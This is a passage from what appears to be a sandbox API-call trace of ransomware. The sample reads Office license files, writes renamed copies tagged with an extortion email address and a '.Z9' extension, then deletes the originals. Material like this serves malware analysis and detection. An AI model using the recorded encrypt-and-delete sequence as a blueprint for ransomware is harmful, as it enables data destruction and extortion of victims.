	[0184.574] lstrlenW (lpString=".zip") returned 4
	[0184.574] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.574] lstrlenW (lpString=".rar") returned 4
	[0184.574] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.574] lstrlenW (lpString=".bz2") returned 4
	[0184.574] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.574] lstrlenW (lpString=".7z") returned 3
	[0184.574] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0184.574] lstrlenW (lpString=".dbf") returned 4
	[0184.575] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0184.575] lstrlenW (lpString=".1cd") returned 4
	[0184.575] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72
	[0184.575] lstrlenW (lpString=".jpg") returned 4
	[0184.575] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.575] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.575] lstrlenW (lpString="MondoVL_KMS_Client-ul-oob.xrm-ms") returned 32
	[0184.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0184.674] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11609) returned 1
	[0184.674] CloseHandle (hObject=0x460) returned 1
	[0184.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms")) returned 0x220
	[0184.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.919] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.919] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0184.920] GetLastError () returned 0x0
	[0184.920] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2d59, lpOverlapped=0x0) returned 1
	[0184.922] WriteFile (in: hFile=0x520, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0184.923] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.923] WriteFile (in: hFile=0x520, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x114, lpOverlapped=0x0) returned 1
	[0184.923] SetEndOfFile (hFile=0x520) returned 1
	[0184.923] CloseHandle (hObject=0x520) returned 1
	[0184.923] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.923] SetEndOfFile (hFile=0x540) returned 1
	[0184.927] CloseHandle (hObject=0x540) returned 1
	[0184.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms")) returned 1
	[0184.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0184.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0184.929] lstrlenW (lpString=".doc") returned 4
	[0184.929] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.929] lstrlenW (lpString=".docx") returned 5
	[0184.929] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.929] lstrlenW (lpString=".pdf") returned 4
	[0184.929] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.929] lstrlenW (lpString=".xls") returned 4
	[0184.929] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.929] lstrlenW (lpString=".xlsx") returned 5
	[0184.929] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.929] lstrlenW (lpString=".ppt") returned 4
	[0184.929] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0184.929] lstrlenW (lpString=".zip") returned 4
	[0184.929] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.929] lstrlenW (lpString=".rar") returned 4
	[0184.929] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.929] lstrlenW (lpString=".bz2") returned 4
	[0184.929] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.929] lstrlenW (lpString=".7z") returned 3
	[0184.929] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0184.929] lstrlenW (lpString=".dbf") returned 4
	[0184.929] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0184.929] lstrlenW (lpString=".1cd") returned 4
	[0184.929] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0184.929] lstrlenW (lpString=".jpg") returned 4
	[0184.929] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0184.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0184.930] lstrlenW (lpString=".doc") returned 4
	[0184.930] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.930] lstrlenW (lpString=".docx") returned 5
	[0184.930] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.930] lstrlenW (lpString=".pdf") returned 4
	[0184.930] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.930] lstrlenW (lpString=".xls") returned 4
	[0184.930] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.930] lstrlenW (lpString=".xlsx") returned 5
	[0184.930] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.930] lstrlenW (lpString=".ppt") returned 4
	[0184.930] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0184.930] lstrlenW (lpString=".zip") returned 4
	[0184.930] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.930] lstrlenW (lpString=".rar") returned 4
	[0184.930] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.930] lstrlenW (lpString=".bz2") returned 4
	[0184.930] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.930] lstrlenW (lpString=".7z") returned 3
	[0184.930] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0184.930] lstrlenW (lpString=".dbf") returned 4
	[0184.930] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0184.930] lstrlenW (lpString=".1cd") returned 4
	[0184.930] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82
	[0184.930] lstrlenW (lpString=".jpg") returned 4
	[0184.930] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.931] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.931] lstrlenW (lpString="MondoVL_KMS_Client-ul.xrm-ms") returned 28
	[0184.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.932] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=9601) returned 1
	[0184.932] CloseHandle (hObject=0x540) returned 1
	[0184.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms")) returned 0x220
	[0184.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.932] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.933] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0184.934] GetLastError () returned 0x0
	[0184.934] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x2581, lpOverlapped=0x0) returned 1
	[0184.936] WriteFile (in: hFile=0x520, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2590, lpOverlapped=0x0) returned 1
	[0184.937] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.937] WriteFile (in: hFile=0x520, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x10c, lpOverlapped=0x0) returned 1
	[0184.937] SetEndOfFile (hFile=0x520) returned 1
	[0184.937] CloseHandle (hObject=0x520) returned 1
	[0184.937] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.937] SetEndOfFile (hFile=0x540) returned 1
	[0184.940] CloseHandle (hObject=0x540) returned 1
	[0184.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.940] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms")) returned 1
	[0184.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0184.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0184.942] lstrlenW (lpString=".doc") returned 4
	[0184.942] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.942] lstrlenW (lpString=".docx") returned 5
	[0184.942] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.942] lstrlenW (lpString=".pdf") returned 4
	[0184.942] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.942] lstrlenW (lpString=".xls") returned 4
	[0184.942] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.942] lstrlenW (lpString=".xlsx") returned 5
	[0184.942] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.942] lstrlenW (lpString=".ppt") returned 4
	[0184.942] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0184.942] lstrlenW (lpString=".zip") returned 4
	[0184.942] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.942] lstrlenW (lpString=".rar") returned 4
	[0184.942] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.942] lstrlenW (lpString=".bz2") returned 4
	[0184.942] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.942] lstrlenW (lpString=".7z") returned 3
	[0184.942] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0184.942] lstrlenW (lpString=".dbf") returned 4
	[0184.942] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0184.942] lstrlenW (lpString=".1cd") returned 4
	[0184.942] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0184.942] lstrlenW (lpString=".jpg") returned 4
	[0184.942] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0184.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0184.943] lstrlenW (lpString=".doc") returned 4
	[0184.943] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.943] lstrlenW (lpString=".docx") returned 5
	[0184.943] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.943] lstrlenW (lpString=".pdf") returned 4
	[0184.943] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.943] lstrlenW (lpString=".xls") returned 4
	[0184.943] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.943] lstrlenW (lpString=".xlsx") returned 5
	[0184.943] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.943] lstrlenW (lpString=".ppt") returned 4
	[0184.943] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0184.943] lstrlenW (lpString=".zip") returned 4
	[0184.943] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.943] lstrlenW (lpString=".rar") returned 4
	[0184.943] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.943] lstrlenW (lpString=".bz2") returned 4
	[0184.943] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.943] lstrlenW (lpString=".7z") returned 3
	[0184.943] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0184.943] lstrlenW (lpString=".dbf") returned 4
	[0184.943] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0184.943] lstrlenW (lpString=".1cd") returned 4
	[0184.943] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0184.943] lstrlenW (lpString=".jpg") returned 4
	[0184.943] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.944] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0184.944] lstrlenW (lpString="MondoVL_MAK-pl.xrm-ms") returned 21
	[0184.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.945] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=10619) returned 1
	[0184.945] CloseHandle (hObject=0x540) returned 1
	[0184.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms")) returned 0x220
	[0184.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0184.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0184.945] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.946] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0184.947] GetLastError () returned 0x0
	[0184.947] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x297b, lpOverlapped=0x0) returned 1
	[0184.948] WriteFile (in: hFile=0x520, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x2980, lpOverlapped=0x0) returned 1
	[0184.950] ReadFile (in: hFile=0x540, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.950] WriteFile (in: hFile=0x520, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xfe, lpOverlapped=0x0) returned 1
	[0184.950] SetEndOfFile (hFile=0x520) returned 1
	[0184.950] CloseHandle (hObject=0x520) returned 1
	[0184.950] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.950] SetEndOfFile (hFile=0x540) returned 1
	[0184.953] CloseHandle (hObject=0x540) returned 1
	[0184.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms")) returned 1
	[0184.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0184.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0184.955] lstrlenW (lpString=".doc") returned 4
	[0184.955] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.955] lstrlenW (lpString=".docx") returned 5
	[0184.955] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.955] lstrlenW (lpString=".pdf") returned 4
	[0184.955] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0184.955] lstrlenW (lpString=".xls") returned 4
	[0184.955] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0184.955] lstrlenW (lpString=".xlsx") returned 5
	[0184.955] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0184.955] lstrlenW (lpString=".ppt") returned 4
	[0184.955] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0184.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0184.955] lstrlenW (lpString=".zip") returned 4
	[0184.955] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0184.955] lstrlenW (lpString=".rar") returned 4
	[0184.955] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0184.955] lstrlenW (lpString=".bz2") returned 4
	[0184.955] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0184.955] lstrlenW (lpString=".7z") returned 3
	[0184.955] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0184.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0184.956] lstrlenW (lpString=".dbf") returned 4
	[0184.956] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0184.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0184.956] lstrlenW (lpString=".1cd") returned 4
	[0184.956] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0184.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0184.956] lstrlenW (lpString=".jpg") returned 4
	[0184.956] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0184.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0184.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0184.956] lstrlenW (lpString=".doc") returned 4
	[0184.956] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.956] lstrlenW (lpString=".docx") returned 5
